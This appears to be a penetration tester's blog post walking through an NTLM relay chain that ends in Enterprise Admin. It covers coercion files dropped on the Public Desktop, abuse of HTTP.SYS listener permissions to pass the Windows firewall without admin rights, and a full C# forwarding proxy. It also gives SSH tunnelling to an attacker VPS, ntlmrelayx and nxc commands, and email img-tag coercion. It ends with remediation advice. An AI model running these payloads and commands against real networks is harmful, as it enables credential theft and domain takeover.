In 2024 NetNTLM leaking is still a thing! In this post we will cover some parts of:

  • Coerce User Authentication via NetNTLM and a file drop
  • The mystery around HTTP.SYS
  • Relaying without admin privileges
  • Relaying with an active Windows firewall
  • SSH Port forwarding

Details

Coerce User Authentication via NetNTLM

A detail from a SO-CON 2024 slidedeck took my attention. (Net)NTLM relaying is still alive?

The PDF can be found here: Elad Shamir - NTLM The Legacy Protocol That Won’t Die / Elad Shamir - NTLM - SO-CON 2024.pdf

So, what does this mean? If an attacker can drop a hidden authentication coercion file, which is a wonderful way to describe for example a .lnk or a .scf file, to a user desktop it will trigger an auth. Even without user interaction, as it typically is for network shares? - Nice

This could be a nice way for lateral movement, but of course requires local administrative permissions, or a really broken client (yeah, I know, happens way too often …).

A buddy at work (@qtc_de) had a nice little tip for me, when we were talking about possibilities. Instead of dropping files on each user’s desktop, we can just drop one in Users\Public\Public Desktop and it will immediately be synchronized to all desktops.

Of course there are already some great writeups about this:

For the coercion part itself, we are going to generate an overly complex lnk file with the icon pointing to a WebDAV resource.
For example, NetExec has a module slinky for it, which just needs some minor adjustment.

The relevant part of it:

link = pylnk3.create(self.lnk_path)
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
link.save()

We need an icon path like this:

\\elastic-elastic-dc01\apps\icon.ico

With the lnk dropped to the Public Desktop we can trigger an authentication on Port 445 (SMB), which we can farm or relay. However, SMB relaying is not that useful anymore, as most environments have SMB signing enforced. There are of course some exclusions, ESC8 is still doing great!

PS: The lnk File can also be invisible :)

There are some really great maps at https://www.thehacker.recipes/a-d/movement/ntlm/relay:

Source: https://www.thehacker.recipes/a-d/movement/ntlm/relay

So what can we do to increase the impact of the relaying part?

WebClient

If the WebClient is started on a client, we can trigger a coercion via HTTP (WebDAV in this case) to any port and path we want to!
If you need to refresh your knowledge about that topic look e.g. here.

The risk that the webclient is not started is uncomfortable, so we just start it ourselves, also by dropping a file. This time we need a .searchConnector-ms file. Yeah, that’s a weird filetype…

example searchConnector-ms file

Yeah I honor your time, so here is the content for Copy&Paste.

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>https://whatever/</url>
    </simpleLocation>
</searchConnectorDescription>

Dropping this file will start the WebClient service on a client.
Note that the WebClient is mostly available under Windows 10 & 11, Windows Server needs an additional role installed to have it

We now adjust our .lnk file to point to a specific port (10247) by adding @10247.

\\elastic-elastic-dc01@10247\apps\icon.ico

Now, if we have code execution on a Linux box without a firewall we can simply use this. But we want to go a little bit further and exploit this with an active Windows firewall and without admin permissions.

Break the firewall

In Windows there is another way to create a webserver than a classic socket listener. Windows does include a Driver, which does the heavy lifting for us and allows quite simple web applications.

Source: https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager

As we all have only limited time, here is the short version.

The .Net Namespace around this is the System.Net.HttpListener and there is a Kernel driver doing things for us.

As it is nice to have a driver do some stuff for us, the bigger benefits are:

  • We can have webserver without admin privileges
  • We can have webserver with an active Windows Firewall

Wait, what? -Correct, there are some paths, which are allowed through the default configuration of the Windows Firewall, as the HTTP.SYS driver is running under NT-SYSTEM and it is a trusted application!

Mild shock

The following blog brings some light to it: https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager

Unfortunately, the code project is gone :’(

  • But wait, aren’t we Hackers? So we use Wayback machine!

https://web.archive.org/web/20210629141743/https://archive.codeplex.com/?p=httpsysmanager

Luckily the release was also archived.

This allows us to use this wonderful tool, without writing all those nasty lines of code by ourselves.

HTTP.SYS ACL’s

Let’s take a look at a Windows 11 System: Checking the HTTP.SYS ACLs on a Windows 11

If we check all those permissions for the URI, we find some interesting ones, like

Lax permissions on the :10247/apps path

Authenticated users? Hey that’s me!

So every authenticated user can register a listener under http://<HOST>:10247/apps? Nice, let’s try this.

Running a listener without admin privileges

And as a bonus, this also bypasses the default configuration of the windows firewall! - Cool

Totally fine

Other interesting URI’s are:

  • http://*:5357/
  • http://*:10246/MDEServer/
  • http://*:10247/apps/
  • http://*:80/Temporary_Listen_Addresses/
  • http://*:5358/

Note: Not all those URIs are also allowed through the firewall!

Proxying

So we can have a listener without admin privs and through an active windows firewall. So what’s next? We can proxy those requests and do something else with them.

There is a useful code snippet on LinkedIn (yeah, I know …):

https://www.linkedin.com/pulse/implementing-proxy-server-c-example-test-case-esmael-esmaeli/

This snippet needs some adjustments to fit our needs. We might come up with something quick&dirty like this

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.Remoting.Messaging;
using System.Text;
using System.Threading.Tasks;

namespace Proxy
{
    internal class Program
    {
        static void Main(string[] args)
        {
            // Create a new HttpListener to listen for requests on the specified UR
            HttpListener listener = new HttpListener();
            listener.Prefixes.Add("http://+:80/Temporary_Listen_Addresses/");
            //listener.Prefixes.Add("http://+:5357/blub/");
            //listener.Prefixes.Add("http://+:5358/blubber/123/");
            listener.Prefixes.Add("http://+:10246/MDEServer/");
            listener.Prefixes.Add("http://+:10247/apps/");
            listener.AuthenticationSchemes = AuthenticationSchemes.Anonymous;
            listener.IgnoreWriteExceptions = true;  
            
            listener.Start();

            while (true)
            {
                try
                {
                    // Wait for a request to be made to the server
                    HttpListenerContext context = listener.GetContext();

                    // Get the request and response objects
                    HttpListenerRequest request = context.Request;
                    HttpListenerResponse response = context.Response;

                    // Modify the request as needed (e.g. to add headers, change the URL, etc.)
                    string newUrl = "http://elastic-elastic-dc01:8080/icon.ico";

                    // Forward the request to the destination server
                    HttpWebRequest destinationRequest = (HttpWebRequest)WebRequest.Create(newUrl);
                    destinationRequest.SendChunked = false;
                    destinationRequest.Method = request.HttpMethod;

                    // Copy the request headers from the original request to the new request
                    Console.WriteLine("Request");
                    Console.WriteLine(request.Url.ToString());
                    Console.WriteLine(request.HttpMethod.ToString());
                    Console.WriteLine(request.Headers.ToString());
                    foreach (string key in request.Headers.AllKeys)
                    {
                        try
                        {
                            string[] values = request.Headers.GetValues(key);
                            switch (key)
                            {
                                case "Connection":
                                    if (values[0] == "Keep-Alive") 
                                    { 
                                        destinationRequest.KeepAlive = true; 
                                    } else
                                    {
                                        destinationRequest.Connection = values[0];
                                    }                                   
                                    break;
                                case "Content-Length":
                                    destinationRequest.ContentLength = long.Parse(values[0]);
                                    break;
                                case "Host":
                                    destinationRequest.Host = values[0];
                                    break;
                                case "User-Agent":
                                    destinationRequest.UserAgent = values[0];
                                    break;
                                default:
                                    destinationRequest.Headers.Add(key, values[0].ToString());
                                    break;
                            }
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine(ex.ToString());
                        }
                    }
                    Console.WriteLine("Forwarded item");
                    Console.WriteLine(destinationRequest.RequestUri.ToString());
                    Console.WriteLine(destinationRequest.Host);
                    Console.WriteLine(destinationRequest.Headers.ToString());

                    HttpWebResponse destinationResponse;
                    // Get the response from the destination server
                    try
                    {
                        destinationResponse = (HttpWebResponse)destinationRequest.GetResponse();
                    }
                    catch (WebException wex)
                    {
                        destinationResponse = wex.Response as HttpWebResponse;
                    }

                    Console.WriteLine("Response");
                    Console.WriteLine(destinationResponse.StatusCode.ToString());
                    Console.WriteLine(destinationResponse.Headers.ToString());

                    response.StatusCode = (int)destinationResponse.StatusCode;    
                    // Copy the response headers from the destination response to the client response
                    foreach (string key in destinationResponse.Headers.AllKeys)
                    {
                        //response.Headers[header] = destinationResponse.Headers[header];
                        string[] values = destinationResponse.Headers.GetValues(key);
                        if (key == "Content-Length")
                        {
                            ;
                        }
                        else
                        {
                            response.AddHeader(key, values[0]);
                        }
                    }
                    Console.WriteLine("Response - Override");
                    Console.WriteLine(destinationResponse.StatusCode.ToString());
                    Console.WriteLine(destinationResponse.Headers.ToString());
                    response.SendChunked = false;
                   
                    // Get the response stream from the destination response and copy it to the client response
                    using (Stream destinationStream = destinationResponse.GetResponseStream())
                    {
                        using (Stream outputStream = response.OutputStream)
                        {
                            destinationStream.CopyTo(outputStream);
                            outputStream.Flush();
                            // You must close the output stream.
                            outputStream.Close();
                        }
                    }
                }
                catch (Exception ex)
                {
                    Console.Write(ex.ToString());
                    Console.WriteLine(ex.StackTrace.ToString());
                }
            }
            listener.Stop();
        }
    }
}

What is this doing? A ton of debug outputs, some bad practice, and some minor functions like registering a listener for HTTP.SYS, forward the request to another port, get the response and then deliver the response to the initial caller.

So what can we do with this? We can combine it with an old friend!

Old friend for the rescue

Note: SSH is only an easy option. There are way better possibilities like using ironpython, python.net or do the relaying directly in C#.

Good ol’ SSH

We can dome some nice little port forwarding on the same machine to tunnel the traffic to a system we fully control and then send it back.

ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 debian@10.3.10.11

Why is this useful? As Windows also offers native SSH capabilities, we can use the standard windows client for SSH port forwarding to a server in the internet (-L 10.3.10.12:8080:10.3.10.11:80), have ntlmrelayx running there and tunnel the traffic back via a SOCKS (-R 127.0.0.1:9050).
Note: the target server does not need to be in the same network if SSH outgoing is allowed, meaning it can be a VPS or whatever

Farm NetNTLM Hashes

By proxying the request and using SSH Port forwarding, we can e.g. run responder on the VPS to get some hashes.

Farming some hashes for cracking

This is for sure nice, but if we just would want the hashes, we could have done this direct in the C# code like MDSec’s Farmer is doing here.

But the bigger / better part is quite often relaying!

Relay it

Let’s go a little bit through the relaying steps.

Start ntlmrelayx on the VPS

with proxychains and -smb2support. In this example, we are going to relay against the LDAP service, as it is still common to have no Channel binding and no LDAP Signing.

Relaying to LDAP is powerfull, but not the only choice. For example an interactive shell (-i) with ntlmrelayx against a fileshare or some HTTP endpoint is also great

proxychains sudo ntlmrelayx.py -debug -smb2support -t "LDAP://10.3.10.12" --escalate-user domainuser --http-port 80

Create the SSH tunnel on the client

with the two different port forwardings

ssh -L 10.3.10.12:8080:10.3.10.11:80 -R 127.0.0.1:9050 debian@10.3.10.11

Start the ProxyApp on the client

which registers at HTTP.SYS and will forward the request to port 8080 locally

Drop a .searchConnectors-ms file on the victim system

to ensure that the WebClient is running

Drop a .lnk file on the victim system

to actually coerce the authentication to our client

nxc smb 10.3.10.21 -d "ludus" -u "localadmin" -p "password" -M slinky -o NAME='\\users\\public\\desktop\\SHARE62' SERVER="elastic-elastic-dc01@10247\apps"

Note: The slightly strange parameters just make it to C:\users\public\desktop\Share63.lnk and \\elastic-elastic-dc01@10247\apps. I might make the PR for nxc in a while to clean this a little bit.

And Ta-da, this actually made us an Enterprise Admin.

Sucessful relaying

The flow looks like this: Attack flow

PoC

“Quick” Walkthrough

Bonus

I know this was a lengthy post, but you almost made it. As you kept scrolling until here, there is a little bonus. You can also coerce via embedded <img> tags in emails. Outlook will happily authenticate it against a network path if:

  • The target system is in the trusted zone, typically meaning without a “.” in the name
  • The sender of the email is a trusted sender.

All emails coming from the same domain are typically trusted senders, so if you got a trainee account, you are a trusted sender for the domain admin :)

Bonus PoC Walkthrough

Remediation

  • Harden the firewall config
  • Harden LDAP (Channel Bindung / Signing)
  • Ensure SMB Signing is enforced
  • Remove all those ESC8’s
  • Never ever use high priv accounts to get e-mails!